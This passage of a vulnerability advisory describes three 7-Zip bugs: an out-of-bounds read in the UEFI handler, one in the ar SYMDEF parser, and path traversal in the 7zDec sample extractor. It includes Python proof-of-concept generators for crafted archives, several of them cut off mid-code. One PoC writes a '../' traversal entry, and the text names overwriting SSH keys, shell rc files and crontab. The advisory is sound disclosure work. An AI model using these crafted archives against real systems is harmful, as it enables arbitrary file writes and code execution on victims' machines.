minor information disclosure (adjacent .rdata string leaked into archive metadata). Static array OOB read: kExpressionCommands[10] reads 8 bytes (one pointer slot) past the end of a 10-element static .rdata array. Because adjacent .rdata is always readable (same PE section), this does not typically crash. On the tested build, the adjacent bytes form a valid pointer to another string literal, so strlen + memcpy succeed silently. No meaningful information disclosure: The content at the dereferenced OOB pointer is a static string from the binary’s own .rdata — identical to what anyone can extract with a hex editor. No user secrets, no heap data, no ASLR base address is leaked. Linker-dependent crash: If a different build places non-pointer data adjacent to kExpressionCommands, the strlen dereference would fault with ACCESS_VIOLATION (DoS). This is linker-layout dependent, not deterministic across builds. CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L — 3.5 (Low) Affected versions: The off-by-one has been present since 7-Zip 9.21, the first version to include the UEFI handler. All versions through 26.00 are affected. CWEs CWE-125: “Out-of-bounds Read” Resources PoC generator: A 104-byte UEFI FFS volume with a DXE_DEPEX section containing opcode byte 0x0A triggers the bug. #!/usr/bin/env python3 """Generate a minimal UEFI FFS volume with a crafted DEPEX section that triggers the off-by-one OOB read in ParseDepedencyExpression.""" import struct kFileHeaderSize = 24 FFS2_GUID = bytes([0x78,0xE5,0x8C,0x8C,0x3D,0x8A,0x1C,0x4F, 0x99,0x35,0x89,0x61,0x85,0xC3,0x2D,0xD3]) sect_type = 0x13 # SECTION_DXE_DEPEX sect_payload = bytes([0x0A]) # command=10, OOB trigger sect_size = 4 + len(sect_payload) section = struct.pack('> 8) & 0xFF ffs[0x16] = (file_size >> 16) & 0xFF; ffs[0x17] = 0xFB hdr_sum = sum(ffs[i] for i in range(kFileHeaderSize) if i not in (0x11, 0x17)) ffs[0x10] = (256 - (hdr_sum & 0xFF)) & 0xFF ffs_data = bytes(ffs) + section + sect_payload header_len = 0x48 vol_size = (header_len + len(ffs_data) + 7) & ~7 fv = bytearray(header_len); fv[0x10:0x20] = FFS2_GUID struct.pack_into(' size || namesStart + namesSize != size) // line 478 (too late) continue; The bounds check gap Line 473 checks size - pos < tableSize, which ensures namesStart = pos + tableSize ≤ size. This admits namesStart == size (the boundary case). Line 476 then calls Get32(p.ConstData() + namesStart, be), which reads 4 bytes at p[size..size+3] — past the end of the size-byte heap allocation. The bounds check at line 478 (namesStart > size) that would catch this runs after the OOB read has already occurred. Trigger values The (tableSize & 7) != 0 filter restricts tableSize to multiples of 8. The minimum trigger: item.Size tableSize (from file) namesStart OOB read offset 12 8 12 (== size) p[12..15] — 4 bytes past end 20 16 20 (== size) p[20..23] — 4 bytes past end The for (be = 0; be < 2; be++) retry loop performs the OOB read twice (once little-endian, once big-endian) before giving up. Impact This issue may lead to limited information disclosure (OOB bytes used in bounds check but not surfaced to output). The Ar handler is registered for .a, .ar, .lib, and .deb file extensions. The handler IS enabled in stock 7z.dll. ParseLibSymbols is called from Open at line 627, triggered whenever the first or second archive member is named __.SYMDEF or __.SYMDEF SORTED. The vulnerability triggers during IInArchive::Open(), before any extraction. Limited information disclosure: The OOB bytes are stored in namesSize (local variable) but are only used in the subsequent bounds check at line 478, which always fails (causing continue). The leaked bytes do not flow into any output stream visible to the attacker. CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L — 3.5 (Low) Affected versions: The SYMDEF parsing was introduced in 7-Zip 9.34. The off-by-4 OOB has been present in all versions from 9.34 through 26.00. CWEs CWE-125: “Out-of-bounds Read” Resources PoC generator: A crafted 68-byte .a archive triggers the vulnerability. #!/usr/bin/env python3 """Generate a crafted ar archive that triggers 4-byte OOB heap read in ParseLibSymbols BSD __.SYMDEF parsing.""" import struct AR_MAGIC = b'!\n' # Member header: 60 bytes fixed format # name(16) + mtime(12) + uid(6) + gid(6) + mode(8) + size(10) + fmag(2) = 60 name = b'__.SYMDEF ' # 16 bytes, padded with spaces mtime = b'0 ' # 12 bytes uid = b'0 ' # 6 bytes gid = b'0 ' # 6 bytes mode = b'100644 ' # 8 bytes # Payload: tableSize(4) + table(8) = 12 bytes → namesStart == 12 == size → OOB payload_size = 12 size_field = f'{payload_size:<10}'.encode() # 10 bytes fmag = b'`\n' # 2 bytes header = name + mtime + uid + gid + mode + size_field + fmag assert len(header) == 60 # Payload: tableSize = 8 (little-endian), then 8 bytes of table data payload = struct.pack('::CSmallObjArray MyBuffer.h:228 #2 NArchive::NAr::CHandler::ParseLibSymbols ArHandler.cpp:460 SUMMARY: AddressSanitizer: heap-buffer-overflow ArHandler.cpp:476 in NArchive::NAr::CHandler::ParseLibSymbols READ of size 4 at 0 bytes after a 12-byte region confirms the off-by-4 OOB at line 476. Issue 8: Missing path validation in extraction loop (GHSL-2026-115) Path traversal in 7zDec SDK sample extractor allows arbitrary file write. The 7zDec standalone LZMA SDK sample extractor (C/Util/7z/7zMain.c) does not validate archive entry paths for directory traversal sequences (..), absolute paths, or other unsafe path components when extracting in x (full paths) mode. An attacker-controlled 7z archive can write files to arbitrary locations on the filesystem, enabling code execution via overwriting startup scripts, SSH keys, or system configuration files. The main 7-Zip C++ extractor (CPP/7zip/UI/Common/ArchiveExtractCallback.cpp) has IsSafePath / CLinkLevelsInfo::Parse protection against this class of attack. The C reference extractor lacks the equivalent check. main() in C/Util/7z/7zMain.c extracts archive entries by taking the kpidPath filename directly from the archive header and using it to create directories and files: // C/Util/7z/7zMain.c, lines ~749-775 UInt16 *name = (UInt16 *)temp; const UInt16 *destPath = (const UInt16 *)name; for (j = 0; name[j] != 0; j++) if (name[j] == '/') { if (fullPaths) { name[j] = 0; MyCreateDir(name); // creates intermediate dirs name[j] = CHAR_PATH_SEPARATOR; } else destPath = name + j + 1; } if (isDir) { MyCreateDir(destPath); } else { const WRes wres = OutFile_OpenUtf16(&outFile, destPath); // opens file for writing ... File_Write(&outFile, outBuffer + offset, &processedSize); // writes attacker content OutFile_OpenUtf16 calls creat(name, 0666) on POSIX (C/7zFile.c:93) or CreateFileW(... CREATE_ALWAYS ...) on Windows (C/7zFile.c:104-108). Neither path includes any sanitization of .., absolute paths, drive letters, UNC paths, or reserved device names. A malicious 7z archive with an entry named ../../../../../../tmp/pwned (UTF-16): The split loop calls MyCreateDir(".."), MyCreateDir("../.."), etc. OutFile_OpenUtf16 opens ../../../../../../tmp/pwned relative to CWD File_Write writes attacker-controlled content This enables overwriting ~/.ssh/authorized_keys, ~/.bashrc, /etc/crontab (if root), or any other writable path. Mode e (fullPaths == 0) is not affected — the loop reduces destPath to the basename after the last /, collapsing traversal sequences. Only mode x is vulnerable. Impact It is a sample extractor which may be used as example. This issue may lead to arbitrary file write and remote code execution (overwrite shell rc files, cron jobs, SSH keys). 7zDec is built from the LZMA SDK and is a working binary that users invoke on untrusted archives. The attack requires only delivering a crafted 7z archive — no special privileges, no race conditions. CWEs CWE-22: “Improper Limitation of a Pathname to a Restricted Directory (‘Path Traversal’)” Resources PoC generator: import struct, binascii, os, subprocess # Step 1: Create a temp file with a safe placeholder name (27 chars, matching traversal length) safe_name = 'XXXXXXXXXXXXXXXXXXXXXXXXXXX' # 27 chars traversal = '../../../../../../tmp/pwned' # 27 chars os.makedirs('/tmp/poc', exist_ok=True) with open(f'/tmp/poc/{safe_name}', 'w') as f: f.write('MALICIOUS CONTENT\n') # Step 2: Create .7z with uncompressed header (-mhc=off) and no compression (-mx0) subprocess.run(['7zz', 'a', '-mx0', '-mhc=off', 'poc_traversal.7z', f'/tmp/poc/{safe_name}']) # Step 3: Binary-patch the UTF-16LE filename and fix CRCs data = bytearray(open('poc_traversal.7z', 'rb').read()) safe_u16 = safe_name.encode('utf-16-le') trav_u16 = traversal.encode('utf-16-le') idx = data.find(safe_u16) assert idx >= 0, "Placeholder not found — header may be compressed" data[idx:idx+len(safe_u16)] = trav_u16 # Fix NextHeaderCRC next_off = struct.unpack_from('